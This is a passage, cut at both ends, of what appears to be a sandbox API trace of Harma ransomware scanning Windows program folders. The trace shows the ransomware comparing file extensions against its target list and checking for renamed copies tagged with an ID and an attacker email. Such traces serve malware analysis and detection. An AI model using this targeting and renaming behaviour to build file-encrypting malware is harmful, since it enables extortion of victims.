Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.442] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.442] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0065.443] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0065.443] lstrlenW (lpString=".doc") returned 4 [0065.443] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.443] lstrlenW (lpString=".docx") returned 5 [0065.443] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0065.443] lstrlenW (lpString=".pdf") returned 4 [0065.443] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.443] lstrlenW (lpString=".xls") returned 4 [0065.443] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.443] lstrlenW (lpString=".xlsx") returned 5 [0065.443] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0065.443] lstrlenW (lpString=".ppt") returned 4 [0065.443] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.443] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0065.443] lstrlenW (lpString=".zip") returned 4 [0065.443] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.443] lstrlenW (lpString=".rar") returned 4 [0065.443] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.443] lstrlenW (lpString=".bz2") returned 4 [0065.443] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.443] lstrlenW (lpString=".7z") returned 3 [0065.443] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.443] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0065.443] lstrlenW (lpString=".dbf") returned 4 [0065.443] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.443] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0065.443] lstrlenW (lpString=".1cd") returned 4 [0065.443] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.443] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0065.443] lstrlenW (lpString=".jpg") returned 4 [0065.443] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.443] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0065.444] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0065.444] lstrlenW (lpString=".doc") returned 4 [0065.444] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.444] lstrlenW (lpString=".docx") returned 5 [0065.444] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0065.444] lstrlenW (lpString=".pdf") returned 4 [0065.444] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.444] lstrlenW (lpString=".xls") returned 4 [0065.444] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.444] lstrlenW (lpString=".xlsx") returned 5 [0065.444] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0065.444] lstrlenW (lpString=".ppt") returned 4 [0065.444] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.444] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0065.444] lstrlenW (lpString=".zip") returned 4 [0065.444] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.444] lstrlenW (lpString=".rar") returned 4 [0065.444] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.444] lstrlenW (lpString=".bz2") returned 4 [0065.444] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.444] lstrlenW (lpString=".7z") returned 3 [0065.444] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.444] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0065.444] lstrlenW (lpString=".dbf") returned 4 [0065.444] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.444] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0065.444] lstrlenW (lpString=".1cd") returned 4 [0065.444] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.444] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0065.444] lstrlenW (lpString=".jpg") returned 4 [0065.444] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.445] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0065.445] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30 [0065.445] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.445] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4955) returned 1 [0065.445] CloseHandle (hObject=0x208) returned 1 [0065.445] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png")) returned 0x20 [0065.445] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.445] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.445] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0065.445] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0065.445] lstrlenW (lpString=".doc") returned 4 [0065.445] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.445] lstrlenW (lpString=".docx") returned 5 [0065.445] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0065.445] lstrlenW (lpString=".pdf") returned 4 [0065.445] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.445] lstrlenW (lpString=".xls") returned 4 [0065.446] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.446] lstrlenW (lpString=".xlsx") returned 5 [0065.446] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0065.446] lstrlenW (lpString=".ppt") returned 4 [0065.446] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.446] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0065.446] lstrlenW (lpString=".zip") returned 4 [0065.446] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.446] lstrlenW (lpString=".rar") returned 4 [0065.446] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.446] lstrlenW (lpString=".bz2") returned 4 [0065.446] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.446] lstrlenW (lpString=".7z") returned 3 [0065.446] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.446] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0065.446] lstrlenW (lpString=".dbf") returned 4 [0065.446] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.446] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0065.446] lstrlenW (lpString=".1cd") returned 4 [0065.446] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.446] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0065.446] lstrlenW (lpString=".jpg") returned 4 [0065.446] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.446] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0065.446] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0065.446] lstrlenW (lpString=".doc") returned 4 [0065.446] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.446] lstrlenW (lpString=".docx") returned 5 [0065.446] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0065.446] lstrlenW (lpString=".pdf") returned 4 [0065.446] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.447] lstrlenW (lpString=".xls") returned 4 [0065.447] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.447] lstrlenW (lpString=".xlsx") returned 5 [0065.447] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0065.447] lstrlenW (lpString=".ppt") returned 4 [0065.447] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.447] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0065.447] lstrlenW (lpString=".zip") returned 4 [0065.447] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.447] lstrlenW (lpString=".rar") returned 4 [0065.447] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.447] lstrlenW (lpString=".bz2") returned 4 [0065.447] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.447] lstrlenW (lpString=".7z") returned 3 [0065.447] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.447] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0065.447] lstrlenW (lpString=".dbf") returned 4 [0065.447] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.447] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0065.447] lstrlenW (lpString=".1cd") returned 4 [0065.447] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.447] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0065.447] lstrlenW (lpString=".jpg") returned 4 [0065.447] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.447] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0065.447] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36 [0065.447] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.448] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3081) returned 1 [0065.448] CloseHandle (hObject=0x208) returned 1 [0065.448] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png")) returned 0x20 [0065.448] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.448] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.448] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0065.448] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0065.448] lstrlenW (lpString=".doc") returned 4 [0065.448] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.448] lstrlenW (lpString=".docx") returned 5 [0065.448] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0065.448] lstrlenW (lpString=".pdf") returned 4 [0065.448] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.448] lstrlenW (lpString=".xls") returned 4 [0065.448] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.448] lstrlenW (lpString=".xlsx") returned 5 [0065.448] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0065.448] lstrlenW (lpString=".ppt") returned 4 [0065.448] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.448] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0065.448] lstrlenW (lpString=".zip") returned 4 [0065.449] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.449] lstrlenW (lpString=".rar") returned 4 [0065.449] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.449] lstrlenW (lpString=".bz2") returned 4 [0065.449] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.449] lstrlenW (lpString=".7z") returned 3 [0065.449] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.449] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0065.449] lstrlenW (lpString=".dbf") returned 4 [0065.449] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.449] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0065.449] lstrlenW (lpString=".1cd") returned 4 [0065.449] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.449] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0065.449] lstrlenW (lpString=".jpg") returned 4 [0065.449] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.449] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0065.449] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0065.449] lstrlenW (lpString=".doc") returned 4 [0065.449] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.449] lstrlenW (lpString=".docx") returned 5 [0065.449] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0065.449] lstrlenW (lpString=".pdf") returned 4 [0065.449] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.449] lstrlenW (lpString=".xls") returned 4 [0065.449] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.449] lstrlenW (lpString=".xlsx") returned 5 [0065.449] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0065.449] lstrlenW (lpString=".ppt") returned 4 [0065.449] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.450] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0065.450] lstrlenW (lpString=".zip") returned 4 [0065.450] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.450] lstrlenW (lpString=".rar") returned 4 [0065.450] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.450] lstrlenW (lpString=".bz2") returned 4 [0065.450] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.450] lstrlenW (lpString=".7z") returned 3 [0065.450] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.450] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0065.450] lstrlenW (lpString=".dbf") returned 4 [0065.450] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.450] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0065.450] lstrlenW (lpString=".1cd") returned 4 [0065.450] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.450] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0065.450] lstrlenW (lpString=".jpg") returned 4 [0065.450] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.450] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0065.450] lstrlenW (lpString="vintage.png") returned 11 [0065.450] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.451] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=27789) returned 1 [0065.451] CloseHandle (hObject=0x208) returned 1 [0065.451] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png")) returned 0x20 [0065.451] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.451] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.451] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0065.451] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0065.451] lstrlenW (lpString=".doc") returned 4 [0065.451] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.451] lstrlenW (lpString=".docx") returned 5 [0065.451] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0065.451] lstrlenW (lpString=".pdf") returned 4 [0065.451] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.451] lstrlenW (lpString=".xls") returned 4 [0065.451] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.451] lstrlenW (lpString=".xlsx") returned 5 [0065.451] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0065.451] lstrlenW (lpString=".ppt") returned 4 [0065.451] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.451] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0065.451] lstrlenW (lpString=".zip") returned 4 [0065.451] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.451] lstrlenW (lpString=".rar") returned 4 [0065.452] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.452] lstrlenW (lpString=".bz2") returned 4 [0065.452] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.452] lstrlenW (lpString=".7z") returned 3 [0065.452] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.452] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0065.452] lstrlenW (lpString=".dbf") returned 4 [0065.452] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.452] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0065.452] lstrlenW (lpString=".1cd") returned 4 [0065.452] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.452] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0065.452] lstrlenW (lpString=".jpg") returned 4 [0065.452] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.452] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0065.452] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0065.452] lstrlenW (lpString=".doc") returned 4 [0065.452] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.452] lstrlenW (lpString=".docx") returned 5 [0065.452] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0065.452] lstrlenW (lpString=".pdf") returned 4 [0065.452] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.452] lstrlenW (lpString=".xls") returned 4 [0065.452] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.452] lstrlenW (lpString=".xlsx") returned 5 [0065.452] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0065.452] lstrlenW (lpString=".ppt") returned 4 [0065.452] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.452] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0065.452] lstrlenW (lpString=".zip") returned 4 [0065.452] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.452] lstrlenW (lpString=".rar") returned 4 [0065.452] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.453] lstrlenW (lpString=".bz2") returned 4 [0065.453] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.453] lstrlenW (lpString=".7z") returned 3 [0065.453] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0065.453] lstrlenW (lpString=".dbf") returned 4 [0065.453] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0065.453] lstrlenW (lpString=".1cd") returned 4 [0065.453] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0065.453] lstrlenW (lpString=".jpg") returned 4 [0065.453] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.453] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0065.453] lstrlenW (lpString="720x480blacksquare.png") returned 22 [0065.453] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.456] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3823) returned 1 [0065.456] CloseHandle (hObject=0x208) returned 1 [0065.456] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png")) returned 0x20 [0065.456] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.456] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.456] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0065.456] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0065.456] lstrlenW (lpString=".doc") returned 4 [0065.456] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.456] lstrlenW (lpString=".docx") returned 5 [0065.456] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0065.456] lstrlenW (lpString=".pdf") returned 4 [0065.456] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.456] lstrlenW (lpString=".xls") returned 4 [0065.456] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.456] lstrlenW (lpString=".xlsx") returned 5 [0065.456] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0065.456] lstrlenW (lpString=".ppt") returned 4 [0065.457] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.457] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0065.457] lstrlenW (lpString=".zip") returned 4 [0065.457] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.457] lstrlenW (lpString=".rar") returned 4 [0065.457] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.457] lstrlenW 